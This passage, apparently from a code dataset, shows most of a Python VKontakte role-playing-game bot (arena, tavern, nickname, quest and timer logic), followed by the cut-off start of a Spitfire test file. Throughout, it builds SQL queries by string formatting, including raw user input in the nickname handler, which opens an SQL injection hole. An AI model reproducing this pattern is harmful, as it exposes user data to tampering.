2\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_user['coins'] += 10\r\n\t\t\t\t\t\t\t\t\t\t\telse: # победа:\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_user['rating'] = max(arena_user['rating'] - 2, 0)\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['rating'] += 2\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['coins'] + 10\r\n\t\t\t\t\t\t\t\t\t\t\t\ttext, arena_text = arena_text, text\r\n\t\t\t\t\t\t\t\t\t\t\tself.core.tax(10)\r\n\t\t\t\t\t\t\t\t\t\t\ttext += \"\\n(назад)\"\r\n\t\t\t\t\t\t\t\t\t\tis_keyboard, data['location'] = 1, 0\r\n\t\t\t\t\t\t\t\t\t\tkeyboard.add_button('Назад', color='primary')\r\n\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `hp`=5,`location`=0,`enemy`='{}',`is_arena`='{}',`messages`=0,`rating`=%r,`coins`=%r WHERE `username`=%s\"%(data['rating'], data['coins'], user_id))\r\n\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `hp`=5,`location`=0,`enemy`='{}',`is_arena`='{}',`messages`=0,`rating`=%r,`coins`=%r WHERE `username`=%s\"%(arena_user['rating'], arena_user['coins'], data['is_arena']['username']))\r\n\t\t\t\t\t\t\t\t\t\tself.clear()\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=data['is_arena']['username'], message=arena_text + \"\\n(назад)\", keyboard=keyboard.get_keyboard())\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\tdata['enemy']['check'], arena_user['enemy']['check'] = 0, 0\r\n\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `hp`=%r,`enemy`='%s',`location`=%r WHERE `username`=%s\"%(data['hp'], json.dumps(data['enemy']), data['location'], user_id))\r\n\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `hp`=%r,`enemy`='%s',`location`=%r WHERE `username`=%s\"%(arena_user['hp'], json.dumps(arena_user['enemy']), data['location'], data['is_arena']['username']))\r\n\t\t\t\t\t\t\t\t\t\tself.clear()\r\n\t\t\t\t\t\t\t\t\t\tis_keyboard, val, val2 = 1, self.local.fight(data), self.local.fight(arena_user)\r\n\t\t\t\t\t\t\t\t\t\tself.core.location._list['fight']['keyboard'] = val[1]\r\n\t\t\t\t\t\t\t\t\t\tself.core.location._list['fight']['commands'] = val[2]\r\n\t\t\t\t\t\t\t\t\t\tkeyboard, text = self.core.location.keyboard('fight'), text + \"\\n\\n\" + val[0]\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=data['is_arena']['username'], message=\"%s\\n\\n%s\"%(arena_text, val2[0]), keyboard=keyboard.get_keyboard())\r\n\t\t\t\t\t\t\t\telse: text = \"Ожидайте хода %s!\"%arena_user['vk_name']\r\n\t\t\t\t\t\telse: text = \"Вы уже сделали ход!\"\r\n\t\t\t\t\tif find in arr: data['location'] |= assoc[arr[find]]\r\n\t\t\t\texcept Exception as msg:\r\n\t\t\t\t\ttext, is_update, local = msg.args[0], 0, self.core.assoc(data['location'])\r\n\t\t\t\t\tif local in self.core.location._list: keyboard = self.core.location.keyboard(local)\r\n\t\t\t\t\telse: is_keyboard = 0\r\n\t\t\telse:\r\n\t\t\t\tif local in self.core.location._list: keyboard = self.core.location.keyboard(local)\r\n\t\t\t\telse: is_keyboard = 0\r\n\t\t\t\tif local == 'tavern': # отправка сообщений в таверну:\r\n\t\t\t\t\tis_message, is_update = 0, 0\r\n\t\t\t\t\tif data['level'] >= 20: data['vk_name'] = \"%s %s\"%('⭐', data['vk_name'])\r\n\t\t\t\t\tself.core.send_all(user_id=user_id, message=self.core.translate.rp(message=command, name=data['vk_name']))\r\n\t\t\t\t\tself.core.vk.method('messages.markAsRead', {'peer_id': user_id});\r\n\t\t\t\telif local == 'nickname': # смена имени:\r\n\t\t\t\t\tis_update = 0\r\n\t\t\t\t\tif self.core.query.one(\"SELECT * FROM `users` WHERE `vk_name`='%s'\"%command) is None:\r\n\t\t\t\t\t\tif re.match(r'[^\\d+]\\D+(\\d+)?', command):\r\n\t\t\t\t\t\t\tif len(command) <= 15:\r\n\t\t\t\t\t\t\t\tself.core.gui.add_print(text=\"%s сменил имя на: %s\"%(data['vk_name'], command), name=data['vk_name'])\r\n\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `vk_name`='%s',`coins`=%r WHERE `username`=%s\"%(command, data['coins'] - 100, user_id))\r\n\t\t\t\t\t\t\t\tdata['location'] &=~ assoc['nickname']\r\n\t\t\t\t\t\t\t\tself.core.tax(100)\r\n\t\t\t\t\t\t\t\ttext = \"📝 Теперь вас зовут: %s!\\n-100 %s!\"%(command, icons['coins'])\r\n\t\t\t\t\t\t\telse: text = \"Ваше имя слишком длинное!\\nВведите ваше новое имя:\\n(назад)\"\r\n\t\t\t\t\t\telse: text = \"Ваше имя введено не правильно!\\nВведите ваше новое имя:\\n(назад)\"\r\n\t\t\t\t\telse: text = \"Кто-то уже использует это имя!\\nВведите ваше новое имя:\\n(назад)\"\r\n\t\t\tif is_update:\r\n\t\t\t\tlocal = self.core.assoc(data['location'])\r\n\t\t\t\tif local in self.core.location._list: keyboard = self.core.location.keyboard(local)\r\n\t\t\t\tif local == 'character': \r\n\t\t\t\t\ttext, c_armor = \"Персонаж (%s):\\n\\nУровень: %r %s\\n%s: %r/5 %s: %r/%r %s: %s\\n\\n\"%(data['vk_name'], data['level'], [\"(%s: %r/%r %s: %r)\"%(icons['xp'], data['xp'], self.level(data['level']), '🔮', data['rating']), \"(%s: %r %s: %r)\"%(icons['xp'], data['xp'], '🔮', data['rating'])][data['level'] >= 20], icons['health'], data['hp'], icons['energy'], math.floor(data['energy']), 5 * (2 - int(not 'энергохранилище' in data['upgrade'])), icons['coins'], self.core.translate.number(data['coins'])), (self.core.stats(data=data['armor']))\r\n\t\t\t\t\tfor row in ['head', 'body', 'weapon']:\r\n\t\t\t\t\t\tif row in data['armor']:\r\n\t\t\t\t\t\t\titem = self.core.item(data['armor'][row])\r\n\t\t\t\t\t\t\tif item is not None:\r\n\t\t\t\t\t\t\t\ttext += item['icon']\r\n\t\t\t\t\t\t\t\tif row == 'head': text = text + '\\n👦\\n'\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tif row == 'head': text += '👦\\n'\r\n\t\t\t\t\t\t\telif row == 'body': text += '👕'\r\n\t\t\t\t\ttext += \"\\n👞👞\\n\\nДоп. шанс ⚔ атаки: %r\\nДоп. шанс 🛡 защиты: %r\\n\\n📗 Улучшения: \"%(c_armor[1], c_armor[0])\r\n\t\t\t\t\tif len(data['upgrade']):\r\n\t\t\t\t\t\tarr = []\r\n\t\t\t\t\t\tfor i in range(0, len(data['upgrade'])):\r\n\t\t\t\t\t\t\titem = self.core.item(data['upgrade'][i])\r\n\t\t\t\t\t\t\tif item is not None: arr.append(\"%s %s\"%(item['icon'], item['name']))\r\n\t\t\t\t\t\ttext += ', '.join(arr)\r\n\t\t\t\t\telse: text += \"нет\"\r\n\t\t\t\t\ttext += \"\\n(инвентарь, мастерская, сменить имя, назад)\"\r\n\t\t\t\telif local == 'map': \r\n\t\t\t\t\ttext, count = \"📜 Карта:\\n\\n\", 0\r\n\t\t\t\t\tfor row in sorted(Travel, key=lambda i: Travel[i]['time']):\r\n\t\t\t\t\t\ttimer = (Travel[row]['time'] * (1 - .5 * int('лошадь' in data['upgrade'])))\r\n\t\t\t\t\t\ttext += \"%s %s: %s\"%(Travel[row]['icon'], Travel[row]['name'], [\"нужен %r уровень!\\n\"%Travel[row]['level'], \"нужно %r %s\"%(Travel[row]['energy'], icons['energy'])][data['level'] >= Travel[row]['level']])\r\n\t\t\t\t\t\tif Travel[row]['need'] is not None: # нужные предметы:\r\n\t\t\t\t\t\t\tfor key in Travel[row]['need']:\r\n\t\t\t\t\t\t\t\titem = self.core.item(key)\r\n\t\t\t\t\t\t\t\ttext += \", %s %s\"%(item['icon'], item['name'])\r\n\t\t\t\t\t\tif data['level'] >= Travel[row]['level']: text += \" %s: %s\\n\"%(icons['time'], self.core.time(timer, is_time=False))\r\n\t\t\t\t\t\tif count < 2: count += 1\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\ttext += '\\n'\r\n\t\t\t\t\t\t\tcount = 0\r\n\t\t\t\t\ttext += \"\\n\\nЗапас %s энергии: %r/%r\\n(<локация>, назад)\"%(icons['energy'], math.floor(data['energy']), 5 * (1 + int('энергохранилище' in data['upgrade'])))\r\n\t\t\t\telif local == 'inventory': \r\n\t\t\t\t\ttext = \"🎒 Инвентарь:\\n\\n\"\r\n\t\t\t\t\tif len(data['inv']):\r\n\t\t\t\t\t\tarr = []\r\n\t\t\t\t\t\tfor row in sorted(data['inv'], key=lambda i: data['inv'][i], reverse=True):\r\n\t\t\t\t\t\t\titem = self.core.item(row)\r\n\t\t\t\t\t\t\tif item is not None:\r\n\t\t\t\t\t\t\t\tif data['inv'][row] > 0: arr.append(\"%r шт. %s %s\"%(data['inv'][row], item['icon'], item['name']))\r\n\t\t\t\t\t\ttext += ', '.join(arr) + \"\\n\"\r\n\t\t\t\t\telse: text += \"Пусто!\\n\"\r\n\t\t\t\t\ttext += \"\\n(использовать <предмет>, продать <кол-во> <предмет> <сумма>, назад)\"\r\n\t\t\t\telif local == 'fight': \r\n\t\t\t\t\ttext, self.core.location._list[local]['keyboard'], self.core.location._list['commands'] = self.local.fight(data)\r\n\t\t\t\t\tkeyboard = self.core.location.keyboard(local)\r\n\t\t\t\telif local == 'dialog': \r\n\t\t\t\t\tif data['location'] & assoc['player']: text = \"Начать сражение?\\n(да, нет)\"\r\n\t\t\t\t\telif (data['location'] & assoc['traid']) and not (data['location'] & assoc['character']): \r\n\t\t\t\t\t\ttext = self.local.dialog(numb=data['messages'], user_id=user_id)\r\n\t\t\t\t\telse: text = self.local.dialog(nickname=1)\r\n\t\t\t\telif local == 'craft': text = self.local.craft(inv=data['inv'])\r\n\t\t\t\telif local == 'tavern': \r\n\t\t\t\t\t_list = ['☕', '🌭', '🥕', '🥓', '🍿', '🍺', '🍮', '🍪', '🍧']\r\n\t\t\t\t\ttext, users, messages = \"%s Таверна!\\nОнлайн: \"%_list[random.randint(0, len(_list) - 1)], [], []\r\n\t\t\t\t\tfor row in self.core.query.many(\"SELECT * FROM `tavern`\"): users.append(row[1])\r\n\t\t\t\t\tif len(users): text += ', '.join(users)\r\n\t\t\t\t\telse: text += \"никого нет\"\r\n\t\t\t\t\tfor row in self.core.query.many(\"SELECT * FROM `mail` WHERE `user_id`=%s\"%user_id): messages.append(\"от %s: %s\"%(row[2], row[1]))\r\n\t\t\t\t\tif len(messages): text += \"\\n\\nБармен передает вам сообщения:\\n%s\"%'\\n'.join(messages)\r\n\t\t\t\t\ttext += \"\\n\\n(бармен, назад)\"\r\n\t\t\t\t\tcommands.append(\"DELETE FROM `mail` WHERE `user_id`=%s\"%str(user_id))\r\n\t\t\t\telif local == 'nickname': text = \"Введите ваше новое имя:\\n(назад чтобы выйти)\"\r\n\t\t\t\telif local == 'traid': text, keyboard = self.local.traid(user_id=user_id, page=0), self.core.location.keyboard(local)\r\n\t\t\t\telif local in Travel.keys():\r\n\t\t\t\t\tif data['is_travel'] - time.time() < 0 and not ('name' in data['enemy']): \r\n\t\t\t\t\t\tdata['location'], is_keyboard, obj = 0, 1, self.finish(data=data, user_id=user_id)\r\n\t\t\t\t\t\tif obj is not None: text, keyboard = obj\r\n\t\t\t\t\t\telse: is_keyboard = 0\r\n\t\t\t\t\telse: text, is_keyboard = \"Осталось %s: %s\"%(icons['time'], self.core.time(data['is_travel'])), 0\r\n\t\t\t\telif local == 'player': text = \"⚔ Арена!\\nВ очереди: %r 👤\\nОжидайте вашей очереди!\\n\\n(назад)\"%(int(self.core.query.one(\"SELECT COUNT(*) FROM `arena`\")[0]) - 1) # арена.\r\n\t\t\t\telif local == 'city': # главный экран:\r\n\t\t\t\t\ttext, c_time, find = \"Лагерь исследователей:\\n🌳🌳🌳...🏡.....🏤...🌋🏬...🌳🌳🌳\\n\\n\", datetime.datetime.today(), False\r\n\t\t\t\t\ttext += \"📃 Ежедневные квесты: (%s)\\n\"%(self.core.time(time.time() + (24 * 3600 - (c_time.hour * 3600 + c_time.minute * 60)) + 1))\r\n\t\t\t\t\tfor row in self.core.world.many(\"SELECT * FROM `quests` WHERE `active`=1\"):\r\n\t\t\t\t\t\tquest, is_finish, find = self.core.quest(row), False, True\r\n\t\t\t\t\t\ttext += quest['name'] + \" (\"\r\n\t\t\t\t\t\tfor key in quest['need']:\r\n\t\t\t\t\t\t\tif quest['users'] is not None:\r\n\t\t\t\t\t\t\t\tif str(user_id) in quest['users']:\r\n\t\t\t\t\t\t\t\t\tif quest['users'][str(user_id)] >= quest['need'][key]:\r\n\t\t\t\t\t\t\t\t\t\ttext += \"выполнено!)\"\r\n\t\t\t\t\t\t\t\t\t\tis_finish = True\r\n\t\t\t\t\t\t\t\t\telse: text += \"%r/%r\"%(quest['users'][str(user_id)], quest['need'][key])\r\n\t\t\t\t\t\t\t\telse: text += \"0/%r\"%quest['need'][key]\r\n\t\t\t\t\t\t\telse: text += \"0/%r\"%quest['need'][key]\r\n\t\t\t\t\t\tif not is_finish:\r\n\t\t\t\t\t\t\ttext += \") награда:\\n\"\r\n\t\t\t\t\t\t\tif quest['price'] is not None:\r\n\t\t\t\t\t\t\t\tfor val in quest['price']:\r\n\t\t\t\t\t\t\t\t\tif val == 'xp' or val == 'coins': text += \"%r %s \"%(quest['price'][val], icons[val])\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\titem = self.core.item(val)\r\n\t\t\t\t\t\t\t\t\t\tif item is not None: text += \"%r %s %s \"%(quest['price'][val], item['icon'], item['name'])\r\n\t\t\t\t\t\ttext += '\\n'\r\n\t\t\t\t\tif not find: text += \"Пока ничего нет!\\n\"\r\n\t\t\t\t\ttext += \"\\n(персонаж, карта, таверна, рынок, арена)\"\r\n\t\t\tcommands.append(\"UPDATE `users` SET `location`=%r WHERE `username`=%s\"%(data['location'], user_id))\r\n\t\telse: # новый пользователь:\r\n\t\t\ttext = self.add_user(user_id)\r\n\t\t\tkeyboard.add_button('Начать!', color='positive')\r\n\t\tif is_message: # отправка сообщения игроку:\r\n\t\t\tif not is_keyboard: keyboard = None\r\n\t\t\telse: keyboard = keyboard.get_keyboard()\r\n\t\t\tself.core.send(user_id=user_id, message=text, keyboard=keyboard)\r\n\tdef timer(self): # таймер:\r\n\t\ttry:\r\n\t\t\tfor user in self.core.query.many(\"SELECT * FROM `users`\"):\r\n\t\t\t\tarr, data = [], self.core.player(user)\r\n\t\t\t\tif 'username' in data['is_arena']:\r\n\t\t\t\t\tif (data['messages'] - time.time()) < 0:\r\n\t\t\t\t\t\tarena_user, keys = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%data['is_arena']['username'])), VkKeyboard(one_time=True)\r\n\t\t\t\t\t\tif arena_user is not None:\r\n\t\t\t\t\t\t\tkeys.add_button('Назад', color='primary')\r\n\t\t\t\t\t\t\tarena_user['location'] = 0\r\n\t\t\t\t\t\t\tself.core.send(user_id=data['is_arena']['username'], message=\"Время запроса истекло!\\n(назад)\", keyboard=keys.get_keyboard())\r\n\t\t\t\t\t\t\tself.core.send(user_id=data['id'], message=\"Время запроса истекло!\\n(назад)\", keyboard=keys.get_keyboard())\r\n\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_arena`='{}',`location`=%r,`enemy`='{}',`messages`=0,`hp`=5 WHERE `username`=%s\"%(arena_user['location'], data['is_arena']['username']))\r\n\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_arena`='{}',`location`=%r,`enemy`='{}',`messages`=0,`hp`=5 WHERE `username`=%s\"%(arena_user['location'], user[0]))\r\n\t\t\t\t\t\tself.clear()\r\n\t\t\t\telse: # восстановление здоровья и энергии:\r\n\t\t\t\t\tif not data['is_travel']:\r\n\t\t\t\t\t\tif data['hp'] > 0:\r\n\t\t\t\t\t\t\tif (data['hp'] < 5) and (datetime.datetime.today().minute in [0, 30]):\r\n\t\t\t\t\t\t\t\tif (data['hp'] + 1) == 5: self.core.send(user_id=user[0], message=\"%s Здоровье восстановлено!\"%icons['health'])\r\n\t\t\t\t\t\t\t\tarr.append(\"`hp`=%r\"%(data['hp'] + 1))\r\n\t\t\t\t\t\t\t_max = 5 * (2 - int(not 'энергохранилище' in data['upgrade']))\r\n\t\t\t\t\t\t\tif data['energy'] < _max:\r\n\t\t\t\t\t\t\t\tif data['energy'] + .2 >= _max: self.core.send(user_id=user[0], message=\"%s Энергия восстановлена!\"%icons['energy'])\r\n\t\t\t\t\t\t\t\tarr.append(\"`energy`=%r\"%min(data['energy'] + .2, _max))\r\n\t\t\t\t\t\t\t\tprint(data['id'], data['energy'])\r\n\t\t\t\t\t\telif (data['messages'] - time.time()) <= 0:\r\n\t\t\t\t\t\t\tself.core.send(user_id=user[0], message=\"%s Здоровье восстановлено!\"%icons['health'])\r\n\t\t\t\t\t\t\tarr.append(\"`hp`=5\")\r\n\t\t\t\t\telse: # события во время походов:\r\n\t\t\t\t\t\tif not 'name' in data['enemy']:\r\n\t\t\t\t\t\t\ttimer, local = data['is_travel'] - time.time(), self.core.assoc(data['location'])\r\n\t\t\t\t\t\t\tif timer > 0:\r\n\t\t\t\t\t\t\t\tif local in Travel:\r\n\t\t\t\t\t\t\t\t\tt_time, keys, point = Travel[local]['time'] * (1 - .5 * int('лошадь' in data['upgrade'])), VkKeyboard(one_time=True), []\r\n\t\t\t\t\t\t\t\t\tkeys.add_button('Атака', color='positive');\r\n\t\t\t\t\t\t\t\t\tkeys.add_button('Защита', color='default');\r\n\t\t\t\t\t\t\t\t\tif data['level'] < 5 or data['level'] >= 15: point.append(t_time * .5)\r\n\t\t\t\t\t\t\t\t\tif data['level'] >= 5:\r\n\t\t\t\t\t\t\t\t\t\tpoint.append(t_time * .25)\r\n\t\t\t\t\t\t\t\t\t\tpoint.append(t_time * .75)\r\n\t\t\t\t\t\t\t\t\tfor row in point:\r\n\t\t\t\t\t\t\t\t\t\tif ((timer - row) / 60) <= 1 and ((timer - row) / 60) >= 0:\r\n\t\t\t\t\t\t\t\t\t\t\tfor nrow in self.core.world.many(\"SELECT * FROM `enemy` WHERE `location`='%s' AND `level`<=%r\"%(local, data['level'])):\r\n\t\t\t\t\t\t\t\t\t\t\t\tenemy, c_armor = self.core.enemy(nrow), (self.core.stats(data=data['armor']))\r\n\t\t\t\t\t\t\t\t\t\t\t\tif enemy is not None:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tif self.change(enemy['change']):\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata['location'] |= assoc['fight']\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tarr.append(\"`enemy`='%s',`is_travel`=%r,`location`=%r,`messages`=%r\"%(json.dumps({'name': enemy['name']}), timer, data['location'], time.time() + 300))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=user[0], message=\"На вас напал %s %s!\\n\\nШанс ⚔ атаки: %r\\nШанс 🛡 защиты: %r\\n\\n(атака, защита)\"%(enemy['icon'], enemy['name'], enemy['damage_change'] + c_armor[1], enemy['leave_change'] + c_armor[0]), keyboard=keys.get_keyboard())\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\tself.core.gui.add_error(text='error location!')\r\n\t\t\t\t\t\t\t\t\tarr.append('`is_travel`=0')\r\n\t\t\t\t\t\t\telse: # завершение похода:\r\n\t\t\t\t\t\t\t\tobj = self.finish(user_id=user[0], data=data)\r\n\t\t\t\t\t\t\t\tarr.append(\"`location`=0,`is_travel`=0\")\r\n\t\t\t\t\t\t\t\tif obj is not None: self.core.send(user_id=user[0], message=obj[0], keyboard=obj[1].get_keyboard())\r\n\t\t\t\t\t\telse: # автоход:\r\n\t\t\t\t\t\t\tif data['messages'] - time.time() <= 0:\r\n\t\t\t\t\t\t\t\tenemy, keys = self.core.enemy(self.core.world.one(\"SELECT * FROM `enemy` WHERE `name`='%s'\"%data['enemy']['name'])), VkKeyboard(one_time=True)\r\n\t\t\t\t\t\t\t\tif enemy is not None:\r\n\t\t\t\t\t\t\t\t\tchange = self.change(enemy['leave_change'] + self.core.stats(data=data['armor'])[0])\r\n\t\t\t\t\t\t\t\t\tdialogs, n_arr = self.core.find(name='default_%r_'%int(change), folder='timeout'), []\r\n\t\t\t\t\t\t\t\t\tif len(dialogs): text = self.core.read(dialogs[random.randint(0, len(dialogs) - 1)])%(enemy['icon'], enemy['name'])\r\n\t\t\t\t\t\t\t\t\tif change:\r\n\t\t\t\t\t\t\t\t\t\tfor row in enemy['price']:\r\n\t\t\t\t\t\t\t\t\t\t\tif row in ['coins', 'xp']:\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata[row] += enemy['price'][row]\r\n\t\t\t\t\t\t\t\t\t\t\t\tn_arr.append(\"+%r %s\"%(enemy['price'][row], icons[row]))\r\n\t\t\t\t\t\t\t\t\t\ttext += \"\\nНаграда: %s\"%', '.join(n_arr)\r\n\t\t\t\t\t\t\t\t\telse: \r\n\t\t\t\t\t\t\t\t\t\tdata['hp'] -= 1\r\n\t\t\t\t\t\t\t\t\t\ttext += \"\\n%r/5 %s\"%(data['hp'], icons['health'])\r\n\t\t\t\t\t\t\t\t\tif data['hp'] > 0:\r\n\t\t\t\t\t\t\t\t\t\tdata['location'] &=~ assoc['fight']\r\n\t\t\t\t\t\t\t\t\t\ttext += \"\\nОсталось %s: %s\"%(icons['time'], self.core.time(time.time() + data['is_travel']))\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=user[0], message=text, keyboard=keys.get_empty_keyboard())\r\n\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `location`=%r,`enemy`='{}',`is_travel`=%r,`coins`=%r,`xp`=%r,`hp`=%r WHERE `username`=%s\"%(data['location'], time.time() + data['is_travel'], data['coins'], data['xp'], data['hp'], user[0]))\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\tkeys.add_button('Назад', color='primary')\r\n\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `location`=0,`hp`=0,`enemy`='{}',`messages`=%r,`is_travel`=0 WHERE `username`=%s\"%(time.time() + 3600, user[0]))\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=user[0], message=\"%s Вы были сильно ранены!\\nВас принесли в лагерь!\\n(назад)\"%icons['health'], keyboard=keys.get_keyboard())\r\n\t\t\t\t\tif len(arr): commands.append(\"UPDATE `users` SET %s WHERE `username`=%s\"%(','.join(arr), user[0]))\r\n\t\t\ttimer = datetime.datetime.today()\r\n\t\t\tif self.core.hour != timer.hour:\r\n\t\t\t\tif timer.weekday() != self.core.day: # обновление квестов:\r\n\t\t\t\t\tself.core.change_quests()\r\n\t\t\t\t\tself.core.day = timer.weekday()\r\n\t\t\t\tfor row in self.core.query.many(\"SELECT * FROM `tavern`\"): # таверна:\r\n\t\t\t\t\tuser = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%row[0]))\r\n\t\t\t\t\tif user is not None:\r\n\t\t\t\t\t\tself.quest(value='tavern', data=user, user_id=row[0], save=True)\r\n\t\t\t\t\t\tif timer.weekday() in [5, 6]: # выходной опыт:\r\n\t\t\t\t\t\t\tuser['xp'] += 1\r\n\t\t\t\t\t\t\tuser, levelup = self.up(data=user)\r\n\t\t\t\t\t\t\tif levelup is not None: self.core.send(user_id=row[0], message=levelup)\r\n\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `xp`=%r,`level`=%r,`hp`=%r,`energy`=%r,`coins`=%r WHERE `username`=%s\"%(user['xp'], user['level'], user['hp'], user['energy'], user['coins'], row[0]))\r\n\t\t\t\tif timer.hour == 21 and self.core.day == 4: # розыгрыш наград среди лидеров арены:\r\n\t\t\t\t\t_sum, arr, text = int(self.core.world.one(\"SELECT `coins` FROM `world`\")[0] * .25), [], \"В конце недели лидеры арены получают награды!\\nПобедители:\\n\\n\"\r\n\t\t\t\t\tfor i in self.core.table():\r\n\t\t\t\t\t\tuser = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%i['id']))\r\n\t\t\t\t\t\tif user is not None:\r\n\t\t\t\t\t\t\tself.core.query.save(\"UPDATE `users` SET `coins`=%r WHERE `username`=%s\"%(user['coins'] + math.floor(_sum * .5), user['id']))\r\n\t\t\t\t\t\t\tself.core.send(user_id=user['id'], message=\"Вы получили: +%r %s!\"%(math.floor(_sum * .5), icons['coins']))\r\n\t\t\t\t\t\t\tarr.append(\"%r. %s (%s: %r) выиграл %r %s!\"%(len(arr) + 1, user['vk_name'], icons['rating'], user['rating'], math.floor(_sum * .5), icons['coins']))\r\n\t\t\t\t\t\t\tself.core.tax(-math.floor(_sum * .5))\r\n\t\t\t\t\t\t\t_sum -= math.floor(_sum * .5)\r\n\t\t\t\t\ttext += '\\n'.join(arr)\r\n\t\t\t\t\tself.core.session.wall.post(owner_id=-self.core.group_id, from_group=1, attachment=\"photo-173231254_456239071\", message=text)\r\n\t\t\t\t\tself.core.table()\r\n\t\t\t\telse: self.core.table()\r\n\t\t\t\tself.core.hour = timer.hour\r\n\t\t\tif self.core.query.one(\"SELECT COUNT(*) FROM `arena`\")[0] > 1: # арена:\r\n\t\t\t\tarena, keys = {0: {}, 1: {}}, VkKeyboard(one_time=True)\r\n\t\t\t\tfor i in range(0, 2):\r\n\t\t\t\t\tdata = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%self.core.query.one(\"SELECT `username` FROM `arena` LIMIT 1 OFFSET %r\"%i)[0]))\r\n\t\t\t\t\tif data:\r\n\t\t\t\t\t\tarena[1 - i]['is_arena'] = {'username': data['id'], 'vk_name': data['vk_name']}\r\n\t\t\t\t\t\tarena[1 - i]['messages'], arena[i]['username'], arena[i]['location'] = time.time() + 180, data['id'], data['location']\r\n\t\t\t\t\t\tarena[i]['location'] |= assoc['dialog']\r\n\t\t\t\t\t\tcommands.append(\"DELETE FROM `arena` LIMIT 1\")\r\n\t\t\t\tkeys.add_button('Да', color='positive')\r\n\t\t\t\tkeys.add_button('Нет', color='negative')\r\n\t\t\t\tfor i in range(0, 2):\r\n\t\t\t\t\tuser, message = arena[i]['username'], \"⚔ %s хочет сразиться с вами!\\nСогласиться?\\n\\n(да, нет)\"%arena[i]['is_arena']['vk_name']\r\n\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_arena`='%s',`messages`=%r,`location`=%r WHERE `username`=%s\"%(json.dumps(arena[i]['is_arena']), arena[i]['messages'], arena[i]['location'], user))\r\n\t\t\t\t\tself.core.send(user_id=user, message=message, keyboard=keys.get_keyboard())\r\n\t\texcept requests.ConnectionError:\r\n\t\t\tself.core.gui.add_error(text='connection error')\r\n\t\t\tself.resend()\r\n\t\texcept requests.ReadTimeout: self.core.gui.add_error(time='timeout')\r\n\t\texcept Exception as error: print(error)\r\n\t\tfinally:\r\n\t\t\tself.clear()\r\n\t\t\tthreading.Timer(60, self.timer).start()\r\n\tdef resend(self):\r\n\t\tfor user in self.core.vk.method('messages.getConversations', {'group_id':self.core.group_id, 'filter': 'unread'})['items']:\r\n\t\t\tself.update(command=user['last_message']['text'], user_id=user['last_message']['from_id'])\r\n\r\ngame = Game(Core(token=token, login=login, password=password, group_id=173231254))\r\ngame.core.table()\r\nthreading.Timer(60 - datetime.datetime.today().second, game.timer).start()\r\nlongpoll = VkBotLongPoll(game.core.vk, game.core.group_id, wait=30)\r\ngame.resend()\r\ngame.core.gui.render()\r\nwhile True:\r\n\ttry:\r\n\t\tfor event in longpoll.listen():\r\n\t\t\tif event.type == VkBotEventType.MESSAGE_NEW: game.update(command=event.obj.text, user_id=str(event.obj.from_id))\r\n\t\t\telif event.type == VkBotEventType.GROUP_JOIN:\r\n\t\t\t\tobj = game.core.player(game.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%str(event.obj.user_id)))\r\n\t\t\t\tif obj is not None:\r\n\t\t\t\t\tif not obj['is_price']:\r\n\t\t\t\t\t\tgame.core.send(user_id=event.obj.user_id, message=\"Большое спасибо за подписку!\\nВаш %s бонус: +20 %s!\"%(icons['price'], icons['coins']))\r\n\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_price`=1,`coins`=%r WHERE `username`=%s\"%(obj['coins'] + 20, str(event.obj.user_id)))\r\n\t\t\tgame.clear()\r\n\texcept requests.ConnectionError:\r\n\t\tgame.core.gui.add_error(text='connection error')\r\n\t\tgame.resend()\r\n\texcept requests.ReadTimeout:\r\n\t\tgame.core.gui.add_error(text='timeout')\r\n\texcept Exception as error: print(error)\r\ngame.core.query.close()\r\ngame.core.world.close()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":79895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"203471486","text":"import unittest\nfrom os.path import join, abspath\n\nfrom numpy.testing import assert_allclose\n\nfrom tests.tabulation.nonadiabatic_defect_steady_slfm.rebless import run\nfrom spitfire.chemistry.library import Library\nfrom spitfire.chemistry.ctversion import check as cantera_version_check\n\n\nif cantera_version_check('atleast', 2, 5, None):\n class Test(unittest.TestCase):\n def test_serial(self):\n output_library = run(num_procs=1)\n\n gold_file = abspath(join('tests',\n 'tabulation',\n 